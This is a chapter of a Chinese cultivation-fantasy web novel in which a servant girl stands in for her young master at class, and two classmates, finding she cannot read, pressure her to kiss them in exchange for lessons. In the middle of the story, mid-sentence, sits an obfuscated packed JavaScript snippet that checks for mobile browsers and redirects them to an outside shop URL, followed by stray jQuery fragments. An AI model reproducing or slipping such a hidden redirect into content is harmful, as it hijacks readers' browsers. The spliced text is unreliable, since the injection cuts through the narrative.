13. 始识字
    阿絮再醒过来的时候,只感到浑身轻松,经脉通畅,丝毫没有饥饿的感觉。

    想到先前少主大人喂给她的那枚含真丸,莫非,她已经成功辟谷了?

    她满心雀跃,接下来的几天也没有再进食,而仍是体力充沛,这才确定自己以后再也不用吃东西,也不会再挨饿了。

    阿絮因此更加充满干劲,每天在成峤的院子里忙忙碌碌的,像个陀螺似的转个不停。

    成峤没注意到她的变化,他最近迷上了符道,正废寝忘食地研究。

    昨天花了一晚上,也没能解出一道符文,他有点丢不开手,准备今天继续。

    阿絮见他起床后收拾好,却不像是要出门的样子,而是从书架上抽出几本书,在桌案后坐下了。

    “少主大人,您今天不去上课吗?”

    “不去了。”成峤开始翻书,头都没抬地回她。

    阿絮吃了一惊,她来云渺峰这五年,还是第一次见他缺课。不论是回雪峰的修炼,还是问水阁的授业,从没见他缺过一次。

    实在过于规律,所以阿絮偶尔才敢趁他不在的时候偷溜出去一会儿。

    许是成峤自己也觉得有些不得劲,想了想,将自己的名扎扔给她:“你去帮我扫一下。”

    问水阁的阁主为了防止弟子们缺勤,让人在每间课室的门口都设置了一个点名台,弟子们每次上课,须得将自己的名扎在点名台上感应一下,作为出席记录。

    阿絮看了看手里的名扎,和自己身上的玉牌有点像,上面刻着少主大人的名字。

    她不知道少主大人的“扫一下”是什么意思,应该就是拿着这个东西做些什么吧。

    “那……扫完我就回来吗?”阿絮问。

    “两遍,放学后也得扫。”成峤的视线仍落在书页上,“你今天就待那儿吧,先生要是点我你就答应着。”

    还……还要点名吗?阿絮有点害怕,一脸为难地看着他。

    见她不动,成峤抬头看她一眼:“怎么还不走?”

    阿絮没办法,收拾好东西,将他的名扎放进怀中,脚步沉重地向外走去,又听见他在后面懒懒地提醒一句:“别忘了放学的时候还有课业……”

    阿絮有几次来问水阁给成峤送东西,所以知道路,很顺利地找到了他们课室所在的地方。

    正是快上课的时候,一波又一波的学生从她身边经过,往教室走去。

    阿絮有点紧张,问水阁的学生们都穿着统一的服装,天水碧的衣衫飘摇若仙,衬得一身侍女服的她格格不入。

    已经有人朝她看过来了,阿絮微微低下头,也朝着课室走去。

    快到的时候,忽然有人从她旁边冲过去。

    “借过。”那人扔下一句,风一样擦过阿絮身侧,闪到她前面,手里的名扎在门口的石台上晃了一下,就进了教室。

    动作太快,阿絮没怎么看清。

    接下来轮到她的时候,阿絮捏着手里的名扎,望了望面前的石台,不知道该怎么做,紧张得差点冒出汗来。

    “放上去感应一下就好了。”身后有人开口,语声温柔。

    阿絮循声回头,只见一个穿着学生服的少女面带微笑地看着她。

    见她好像不太敢动的样子,少女带着她的手,朝着石台按去:“这样就可以。”

    名扎发出一瞬的光亮。

    阿絮的眼睛也亮了一下,如释重负般松了一口气,连忙让开位置,小声道:“多谢。”

    “不客气。”那名少女在她后面也扫了一下名扎,听说阿絮要找成峤的位置,顺手帮她指了指。

    阿絮再三道谢。

    ……

    从前知道成峤和各峰长老的亲传弟子一同修炼、上课的时候,阿絮其实有点好奇。

    少主大人作为宗主唯一的子嗣,为什么没有请大能亲自去云渺峰教导,而是让他自己去回雪峰和问水阁。

    后来隐约听说,少主大人和宗主的关系不太好。宗主虽然默许他继承人的位置,但也懒得在他身上多花心思。

    阿絮还知道,宗主这些年一心扑在飞升上,宗门事务也基本都交给李管事及各峰长老打理。

    她感觉少主大人的性子那么坏,应该和宗主有一定的关系。

    正思索着,从门口进来一个白胡子老头。

    阿絮抬头一看,知道是先生进来了,连忙站起来。

    这一下,教室里的人都看着她。

    先生也笑了,一边走向前台一边朝她摆摆手:“这位同学,不用站起来,请坐吧。”

    有人在窃窃地嘲笑她。

    阿絮顿时尴尬得想找个地缝钻进去,赶紧坐下。

    先生又看了看她:“这是成峤同学的位置,他是身体不适,让你来代课吗?”

    阿絮纠结了一下,想着身体不适总比故意旷课要好吧。

    “嗯……”她小幅度地点点头。回答完便垂下头去,盯着面前的课桌。

    她的额发有点长,低头时更是几乎遮住了眼睛,所以没有看到侧前方的一个男生扭头看了她半天,这会儿更是用手肘捣了捣身旁的同学,示意他回头去看阿絮。

    ……

    阿絮的尴尬只持续了一会儿,在先生随手一挥,教室的前方落下一幕水镜的时候,她惊讶地睁大了眼睛。

    水镜平整光滑,呈浅青色,先生讲到哪里,那面水镜就像是有感应一般,呈现出相应的画面,或是图像,或是文字。

    阿絮不识字,也听不懂先生讲的内容,但她被水镜里所展现出的绚丽多彩的世界深深震撼,眼睛一眨不眨地盯着,直到先生暂时结束,她才发现自己盯了太久,眼睛都有些酸痛了。

    下一节课的时候,阿絮偷偷观察了一下教室里的学生,发现他们都很轻松的样子,可以毫不费力地理解先生所讲的内容,甚至和先生互动。

    她忽然感到很羡慕,很想像他们一样。

    接下来的时间阿絮不再觉得煎熬,反倒很珍惜,很认真地听,希望可以学到一些什么。

    等到放学,先生让学生们打开书本,翻到指定的页面,圈定了几道题,说是今天完成,明早须得上交。

    阿絮想起出门时少主大人的吩咐,连忙按先生说的圈好题目。

    之前上课的时候总是时不时地回头看阿絮的那两个男生,这会儿见先生离开,便起身朝阿絮的座位走去。

    还没走近,就看到阿絮匆匆忙忙地收拾好东西,飞快地跑到课室门口去扫名扎。

    两个人对视一眼,有些玩味地笑了笑。

    ……

    阿絮怕天黑之前赶不回云渺峰,加快了脚步。等回到少主的院子,已经累得气喘吁吁。

    侍女姐姐说少主等她好久了。阿絮也不敢歇,立即去找成峤。

    进了屋子,却没看到人。

    “少主大人,你在吗?

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134965|150048||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”阿絮往里走去,一边走一边喊他。

    突然,不知从哪里刮来一阵风,她被定在了那里,还保持着走路的姿势。

    成峤从书架后面转出来,看着她,摸了摸下巴,摇摇头:“这‘召风符’感觉有点难用。”

    阿絮反应过来,他还在研究他的符道呢。

    被定住的姿势有点难受,阿絮眨了眨眼,希望少主大人能把她放开。

    成峤走上前捏了捏她的脸,不满地道:“你怎么这么慢啊,天都快黑了。”

    蹂躏她一会儿,才抬手把她解开,顺便拿过她手里的课本跟今天的课业,朝桌案走去,一边走一边翻看。

    到后面已经皱起了眉头,抬眼看她,一脸嫌弃:“你是笨蛋吗?”

    阿絮不懂他为什么又生气,有些无措地看着他。

    成峤将书都扔在案上:“你把课业带回来,是指望我做?”他挑了挑眉,“你什么时候看我写过作业?”

    “……”确实没有。

    问水阁的课对于成峤来说,没有什么难度,他上课听一遍就能全部掌握,因而后面的课业从来不做。他嫌浪费时间,都是放学的时候顺便扔给同学,让他们代写。

    “那……那怎么办?”阿絮问。

    成峤随口道:“你明天早点去,随便找个人让他们写。”

    当然是不能不写的,课业提交也有记录,跟点名台一样,成峤的记录从来没断过,阿絮甚至觉得他在这类事情上有一种强迫性的坚持。

    阿絮答应着,到了第二天,果然起得更早,提前来到教室。

    里面只有两个学生,阿絮坐在座位上,有点犹豫地看他们一眼,在想该怎么说。

    “诶,你是少主的侍女吗?”那两个男生走了过来,跟她打招呼。

    阿絮松了一口气似的,点点头。

    “我还奇怪呢,因为少主的课业平时都是我们代写的,本来昨天放学的时候想问你需不需要,结果你跑得太快……”一个人很自然地和她搭话。

    另一人接着道:“所以现在少主不需要我们了对吧?”

    “需要的需要的!”阿絮连忙道。

    她将昨天的课业拿出来,打开放在课桌上,有些不好意思地咬咬唇:“请……请帮我写一下……”

    其中一人俯身凑近,扫了一眼她圈画的题目,随后视线却一直落在她的侧脸上:“诶?先生说的是这些题目吗?我怎么记得好像不是啊?”

    “是这些……我记得的……”阿絮有点慌乱,但对于自己的记忆仍有信心。

    “是吗?”那人靠得更近,呼吸几乎喷在她的脸上,“那你说说,这个题讲的是什么?”他随手指了一下。

    阿絮想稍微后撤,另一人却从后面圈住她:“快点吧,一会儿有人来了。”他按了按阿絮的肩膀,“我们也想尽快帮少主完成课业呢。”

    阿絮被他们说得也着急起来,想要争辩,却回答不了他们的问题。

    身侧的男生看出她的窘迫,但丝毫没有替她遮掩的意思,反倒毫不客气地戳破:“你不会是不识字吧?”

    阿絮的脸色白了一瞬,嘴唇嗫嚅两下,更加局促。

    “哎呀,好可怜啊。”身后的男生贴着她的脸颊,仿佛很同情她似的,笑着道,“想不想学认字?”

    阿絮不由自主地转过头看他,听见他用诱哄的语气道:“亲我们一下,放学后就教你十个字,怎么样?”